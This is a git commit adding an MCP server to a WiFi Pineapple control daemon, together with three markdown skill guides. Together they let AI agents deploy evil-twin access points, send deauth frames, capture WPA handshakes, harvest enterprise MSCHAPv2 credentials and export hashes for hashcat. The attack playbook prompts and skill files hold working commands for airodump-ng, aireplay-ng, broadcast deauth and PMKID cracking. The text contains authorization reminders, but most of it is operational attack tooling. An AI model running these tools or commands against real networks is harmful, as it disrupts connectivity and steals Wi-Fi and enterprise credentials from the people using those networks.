feat: local MCP harness (tools/resources/prompts) + Harness UI page

Streamable-HTTP MCP server on POST /mcp: device.state, attack.deploy/stop/
status/deauth/capture/export_hc22000, loot.handshakes/enterprise_creds,
recon.aps/isearch/devices, pineap.kick_client/set_filter tools; recon DB +
bundled opencode skills resources; attack playbook prompts. Cookie or Bearer
auth. Harness page shows endpoint, token, curl snippet, capability explorer
and a copy-paste pi.dev prompt. scripts/harness_stdio.py for stdio-only
agents.
This commit is contained in:
2026-08-18 20:00:13 -05:00
parent f31b38d1fa
commit e871e49466
8 changed files with 917 additions and 2 deletions
@@ -572,7 +572,7 @@ class PagerHandler:
return
self._fail(404, 'not found')
return
if method != 'POST' or path != '/api/login':
if method != 'POST' or path not in ('/api/login', '/mcp'):
if not check_auth(self.headers.get('Cookie', '') or ''):
self._fail(401, 'unauthorized')
return
@@ -3418,6 +3418,366 @@ def h_attacks_clients(ctx):
return 200, result
# --------------------------------------------------------------------------
# Local Harness: MCP (Model Context Protocol) Streamable-HTTP server.
# Lets any agent (opencode, Claude, Cursor, pi.dev, ...) discover and drive
# the Pineapple's features with tools, resources and prompts.
# --------------------------------------------------------------------------
MCP_PROTOCOL = '2025-06-18'
RECON_URI = 'file:/root/recon/recon.db?mode=ro'
def _sql_table(table, limit=50, where=''):
clause = ('WHERE ' + where) if where else ''
rc, out, err = device_run(
['sqlite3', '-json', RECON_URI,
'SELECT * FROM %s %s ORDER BY time DESC LIMIT %d' % (table, clause, int(limit))],
timeout=25)
if rc != 0:
return []
try:
return json.loads(out or '[]')
except ValueError:
return []
def _mcp_auth(ctx):
if check_auth(ctx.h.headers.get('Cookie', '') or ''):
return True
auth = ctx.h.headers.get('Authorization', '') or ''
if auth.startswith('Bearer '):
token = auth[7:].strip()
try:
with open(SESSION_FILE) as f:
session = json.load(f)
return session.get('token') == token
except (OSError, ValueError):
return False
return False
def _mcp_tool(name, description, schema, fn):
return {'name': name, 'description': description,
'inputSchema': {'type': 'object', 'properties': schema}, 'fn': fn}
def _mcp_tools():
def deploy(args):
kind = (args.get('kind') or '').strip().lower()
if kind not in ('wpa', 'open', 'enterprise'):
return {'error': 'kind must be wpa, open or enterprise'}
try:
if kind == 'enterprise':
result = _deploy_enterprise(args)
else:
result = _deploy_wpa_open(kind, args)
except ValueError as exc:
return {'error': str(exc)}
except RuntimeError as exc:
return {'error': str(exc)}
update_pineap_state(mode='advanced', enabled=True, karma=True, collect=True)
result['ok'] = True
return result
def stop(args):
status, payload = h_attacks_stop(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'stop failed')}
def status(args):
_, payload = h_attacks_status(None)
return payload
def deauth(args):
status, payload = h_attacks_deauth(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'deauth failed')}
def capture(args):
status, payload = h_attacks_capture(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'capture failed')}
def export_hc(args):
status, payload = h_attacks_export_hc22000(None)
return payload if status == 200 else {'error': payload.get('error', 'export failed')}
def handshakes(args):
_, payload = h_handshakes_get(None)
return payload
def enterprise_creds(args):
tables = {}
for t in ('basic', 'challenge'):
tables[t] = _sql_table('hostap_%s' % ('chalresp' if t == 'challenge' else t), 100)
return tables
def recon_aps(args):
return {'aps': _sql_table('ssid', args.get('limit', 50))}
def recon_isearch(args):
ssid = (args.get('ssid') or '').strip()
if not ssid:
return {'error': 'ssid required'}
return {'aps': _sql_table('ssid', 50, "CAST(ssid AS TEXT) LIKE '%%%s%%'" %
ssid.replace("'", "''"))}
def recon_devices(args):
return {'devices': _sql_table('wifi_device', args.get('limit', 50))}
def kick(args):
mac = (args.get('mac') or '').strip()
if not mac:
return {'error': 'mac required'}
rc, out, err = device_run([HAK5CMD, 'CLIENT_KICK', mac], timeout=20)
return {'ok': rc == 0, 'detail': (err or out)[-300:]}
def set_filter(args):
kind = (args.get('kind') or 'ssid').strip()
if kind not in ('ssid', 'client'):
return {'error': 'kind must be ssid or client'}
action = (args.get('action') or '').strip()
payload = {'action': action}
if action == 'set_mode':
payload['mode'] = (args.get('mode') or 'deny').strip()
elif action == 'add':
payload['mode'] = (args.get('mode') or 'deny').strip()
payload['value'] = (args.get('value') or '').strip()
if not payload['value']:
return {'error': 'value required'}
else:
return {'error': 'action must be set_mode or add'}
status, resp = h_filter_post(_Ctx_args(payload), kind)
return resp if status == 200 else {'error': resp.get('error', 'filter failed')}
def state(args):
_, mode = h_pineap_mode_get(None)
_, aps = h_pineap_wifi_get_ap(None)
_, health = h_health(None)
_, atk = h_attacks_status(None)
return {'mode': mode, 'aps': aps, 'health': health, 'attacks': atk,
'hop': _read_hop()}
return [
_mcp_tool('device.state', 'Full truth snapshot: PineAP mode, AP configs, health, attacks, hop state.',
{'detail': {'type': 'string'}}, state),
_mcp_tool('attack.deploy', 'Deploy an attack: kind=wpa|open|enterprise with ssid, passphrase (wpa), enctype, channel (band), hidden, bssid/country (open). Stops conflicting attacks, enables karma + handshake capture, verifies on device.',
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']},
'ssid': {'type': 'string'},
'passphrase': {'type': 'string'},
'enctype': {'type': 'string', 'enum': ['psk2', 'sae', 'owe', 'wpa2', 'wpa3']},
'channel': {'type': 'number'},
'hidden': {'type': 'boolean'},
'bssid': {'type': 'string'},
'country': {'type': 'string'}}, deploy),
_mcp_tool('attack.stop', 'Stop an attack by kind (wpa|open|enterprise); disables APs and resumes hopping.',
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']}}, stop),
_mcp_tool('attack.status', 'Live attack status: APs per band, live flag, handshake + enterprise credential counts.',
{}, status),
_mcp_tool('attack.deauth', 'Send deauth frames against an AP/client. Band-aware inject (wlan0mon for 2.4, wlan1mon for 5/6). Only against authorized targets.',
{'bssid': {'type': 'string'}, 'client': {'type': 'string'},
'channel': {'type': 'number'}}, deauth),
_mcp_tool('attack.capture', 'Start/stop/status a monitor pcap capture (iface wlan0mon|wlan1mon, action start|stop|status).',
{'iface': {'type': 'string', 'enum': ['wlan0mon', 'wlan1mon']},
'action': {'type': 'string', 'enum': ['start', 'stop', 'status']}}, capture),
_mcp_tool('attack.export_hc22000', 'Convert captured pcaps to a hashcat-ready .hc22000 file and return the hashcat command.',
{}, export_hc),
_mcp_tool('loot.handshakes', 'List captured WPA handshakes (files + parsed entries).',
{}, handshakes),
_mcp_tool('loot.enterprise_creds', 'PineAPE captured enterprise credentials (basic identity data + MSCHAPv2 challenge/response).',
{}, enterprise_creds),
_mcp_tool('recon.aps', 'Recent recon APs from the recon database.', {'limit': {'type': 'number'}}, recon_aps),
_mcp_tool('recon.isearch', 'Find APs matching an SSID in the recon database.', {'ssid': {'type': 'string'}}, recon_isearch),
_mcp_tool('recon.devices', 'Recent observed client devices from recon.', {'limit': {'type': 'number'}}, recon_devices),
_mcp_tool('pineap.kick_client', 'Disconnect a client from a PineAP/evil-twin AP.', {'mac': {'type': 'string'}}, kick),
_mcp_tool('pineap.set_filter', 'Set the SSID/client filter: action=set_mode (mode=deny|allow) or add (value).',
{'kind': {'type': 'string', 'enum': ['ssid', 'client']},
'action': {'type': 'string', 'enum': ['set_mode', 'add']},
'mode': {'type': 'string', 'enum': ['allow', 'deny']},
'value': {'type': 'string'}}, set_filter),
]
def _Ctx_args(body):
return type('C', (), {'body': body, 'args': (), 'query': {}})()
def _mcp_resource_list():
res = [
{'uri': 'device://state', 'name': 'Device state snapshot', 'mimeType': 'application/json'},
{'uri': 'recon://aps', 'name': 'Recon access points', 'mimeType': 'application/json'},
{'uri': 'recon://devices', 'name': 'Recon client devices', 'mimeType': 'application/json'},
{'uri': 'recon://handshakes', 'name': 'Captured handshakes', 'mimeType': 'application/json'},
{'uri': 'recon://enterprise/basic', 'name': 'Enterprise basic credentials', 'mimeType': 'application/json'},
{'uri': 'recon://enterprise/challenge', 'name': 'Enterprise challenge/response', 'mimeType': 'application/json'},
]
for name in ('pineapple-control', 'wifi-deauth', 'aircrack-suite'):
res.append({'uri': 'skills://%s' % name, 'name': 'Skill: %s' % name,
'mimeType': 'text/markdown'})
return res
def _mcp_resource_read(uri):
if uri == 'device://state':
_, mode = h_pineap_mode_get(None)
_, aps = h_pineap_wifi_get_ap(None)
_, health = h_health(None)
_, atk = h_attacks_status(None)
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps({'mode': mode, 'aps': aps,
'health': health, 'attacks': atk})}]}
if uri == 'recon://aps':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('ssid', 50))}]}
if uri == 'recon://devices':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('wifi_device', 50))}]}
if uri == 'recon://handshakes':
_, payload = h_handshakes_get(None)
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(payload)}]}
if uri == 'recon://enterprise/basic':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('hostap_basic', 100))}]}
if uri == 'recon://enterprise/challenge':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('hostap_chalresp', 100))}]}
if uri.startswith('skills://'):
name = uri[len('skills://'):]
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'skills', '%s.md' % name)
if os.path.isfile(path):
with open(path, 'r') as f:
text = f.read()
return {'contents': [{'uri': uri, 'mimeType': 'text/markdown', 'text': text}]}
return None
return None
def _mcp_prompt_list():
return [
{'name': 'evil-wpa-attack', 'description': 'Deploy an Evil WPA (PSK) twin of a target SSID, capture a four-way handshake, and export it for hashcat.'},
{'name': 'evil-enterprise-attack', 'description': 'Serve a WPA2-Enterprise twin with PineAPE credential harvesting.'},
{'name': 'recon-survey', 'description': 'Survey the environment from the recon database.'},
]
def _mcp_prompt_get(name):
if name == 'evil-wpa-attack':
return {'description': 'Evil WPA (PSK) attack workflow',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) recon.isearch for the target SSID to confirm it is authorized. 2) attack.deploy kind=wpa with the target ssid (passphrase is your choice; enctype psk2; 2.4GHz channels 1-11 or 5GHz 36-165). 3) attack.status until live. 4) Optionally attack.capture on the matching monitor to record raw frames, and attack.deauth against the target\'s clients. 5) Once a handshake appears in loot.handshakes, attack.export_hc22000 and run the returned hashcat command locally.'}}]}
if name == 'evil-enterprise-attack':
return {'description': 'Evil Enterprise (PineAPE) attack workflow',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) recon.isearch the target SSID (authorized only). 2) attack.deploy kind=enterprise ssid=<target> enctype=wpa2 channel=36. 3) attack.status until live. 4) Monitor loot.enterprise_creds for captured identities and MSCHAPv2 challenge/response pairs; crack offline with hashcat -m 5500 (or -m 5800 for netntlmv2-style) once captured. 5) attack.stop when done.'}}]}
if name == 'recon-survey':
return {'description': 'Recon survey',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) device.state for the truth snapshot. 2) recon.aps to list recent networks. 3) recon.devices for observed clients. 4) Summarize: networks, bands, encryption, signal, and any target SSID the operator asked about.'}}]}
return None
def _mcp_dispatch(msg):
"""Handle one JSON-RPC MCP message. Returns (status, body)."""
if not isinstance(msg, dict) or msg.get('jsonrpc') != '2.0':
return 400, {'jsonrpc': '2.0', 'error': {'code': -32600, 'message': 'invalid JSON-RPC'}}
mid = msg.get('id')
method = msg.get('method') or ''
params = msg.get('params') or {}
if not method:
return 400, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': -32600, 'message': 'method required'}}
def respond(result):
if mid is None:
return 202, None
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': result}
def respond_error(code, message):
if mid is None:
return 202, None
return 200, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': code, 'message': message}}
if method == 'initialize':
version = (params or {}).get('protocolVersion') or '2025-03-26'
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': {
'protocolVersion': MCP_PROTOCOL,
'capabilities': {
'tools': {'listChanged': False},
'resources': {'listChanged': False, 'subscribe': False},
'prompts': {'listChanged': False},
},
'serverInfo': {'name': 'mark-viii', 'version': '1.1'}}}
if method == 'notifications/initialized':
return 202, None
if method == 'ping':
return respond({})
if method == 'tools/list':
return respond({'tools': [{'name': t['name'], 'description': t['description'],
'inputSchema': t['inputSchema']} for t in _mcp_tools()]})
if method == 'tools/call':
name = (params or {}).get('name') or ''
args = (params or {}).get('arguments') or {}
for t in _mcp_tools():
if t['name'] == name:
try:
result = t['fn'](args)
except Exception as exc:
return respond_error(-32603, 'tool error: %s' % exc)
if isinstance(result, dict) and 'error' in result:
return respond_error(-32602, result['error'])
return respond({'content': [{'type': 'text', 'text': json.dumps(result, indent=2)}]})
return respond_error(-32602, 'unknown tool: %s' % name)
if method == 'resources/list':
return respond({'resources': _mcp_resource_list()})
if method == 'resources/read':
uri = (params or {}).get('uri') or ''
content = _mcp_resource_read(uri)
if content is None:
return respond_error(-32602, 'unknown resource: %s' % uri)
return respond(content)
if method == 'prompts/list':
return respond({'prompts': _mcp_prompt_list()})
if method == 'prompts/get':
name = (params or {}).get('name') or ''
content = _mcp_prompt_get(name)
if content is None:
return respond_error(-32602, 'unknown prompt: %s' % name)
return respond(content)
return respond_error(-32601, 'method not found: %s' % method)
def h_mcp(ctx):
if not _mcp_auth(ctx):
return 401, {'jsonrpc': '2.0', 'error': {'code': -32001, 'message': 'unauthorized'}}
body = ctx.body
if body is None:
return 400, {'jsonrpc': '2.0', 'error': {'code': -32700, 'message': 'parse error'}}
return _mcp_dispatch(body)
def h_harness_capabilities(ctx):
tools = [{'name': t['name'], 'description': t['description'],
'inputSchema': t['inputSchema']} for t in _mcp_tools()]
return 200, {
'endpoint': '/mcp',
'protocol': MCP_PROTOCOL,
'transport': 'Streamable HTTP (POST application/json)',
'auth': 'session cookie (browser) or Authorization: Bearer <daemon token>',
'tools': tools,
'resources': _mcp_resource_list(),
'prompts': _mcp_prompt_list(),
'skills': ['pineapple-control', 'wifi-deauth', 'aircrack-suite'],
}
def h_harness_token(ctx):
try:
with open(SESSION_FILE) as f:
session = json.load(f)
return 200, {'token': session.get('token', ''), 'serverid': session.get('serverid', '')}
except (OSError, ValueError):
return 200, {'token': '', 'serverid': ''}
def hak5(*args, timeout=30):
rc, out, err = device_run([HAK5CMD] + list(args), timeout=timeout)
return out
@@ -4429,6 +4789,9 @@ ROUTER.add('GET', r'/api/attacks/export/hc22000/([^/]+)', h_attacks_download_hc2
ROUTER.add('POST', r'/api/attacks/deauth', h_attacks_deauth)
ROUTER.add('GET', r'/api/attacks/clients', h_attacks_clients)
ROUTER.add('GET', r'/api/health', h_health)
ROUTER.add('POST', r'/mcp', h_mcp)
ROUTER.add('GET', r'/api/harness/capabilities', h_harness_capabilities)
ROUTER.add('GET', r'/api/harness/token', h_harness_token)
ROUTER.add('POST', r'/api/recon/start', h_recon_start)
ROUTER.add('POST', r'/api/recon/stop', h_recon_stop)
ROUTER.add('GET', r'/api/recon/status', h_recon_status)
@@ -0,0 +1,54 @@
---
name: aircrack-suite
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
---
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
## Installation (factory-reset recovery)
```sh
opkg update
opkg install aircrack-ng hcxtools
```
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
## Target capture
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
```sh
ip link set wlan1mon up
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
```
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
## PMKID hunt (hashcat -m 22002)
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
- Extract on-device or locally:
```sh
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
hashcat -m 22002 out.22002 -a 0 <wordlist>
```
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
## Pitfalls
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
@@ -0,0 +1,101 @@
---
name: pineapple-control
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
---
# Pineapple Control (Pager / FENRIS)
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
## Hardware / radios
| Radio | Hardware | Interfaces | Notes |
|---|---|---|---|
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
## Access
```sh
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
```
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
## What runs on the box
| Process | Managed by | Purpose | Socket |
|---|---|---|---|
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
## Command surface
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
## Config & persistence (the hard-won rules)
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
```sh
cp /etc/config/wireless /etc/config/wireless.bak
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
wifi reload
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
```
## pineapd health & the crash-loop
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
## Recon DB
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
## Captures
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
```sh
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
```
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
```sh
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
```
- Stop captures: `killall tcpdump` (`pkill` missing).
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
## Verification & troubleshooting
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
## Teardown & hygiene
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
@@ -0,0 +1,123 @@
---
name: wifi-deauth
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
---
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
## 1. Discover target APs (passive recon first)
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
## 2. Deauth (the working method)
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
```sh
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
```
- MACs with colons work. Channel should be the AP's actual channel.
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
## 3. Channel pinning — what works and what crashes
| Method | Result |
|---|---|
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
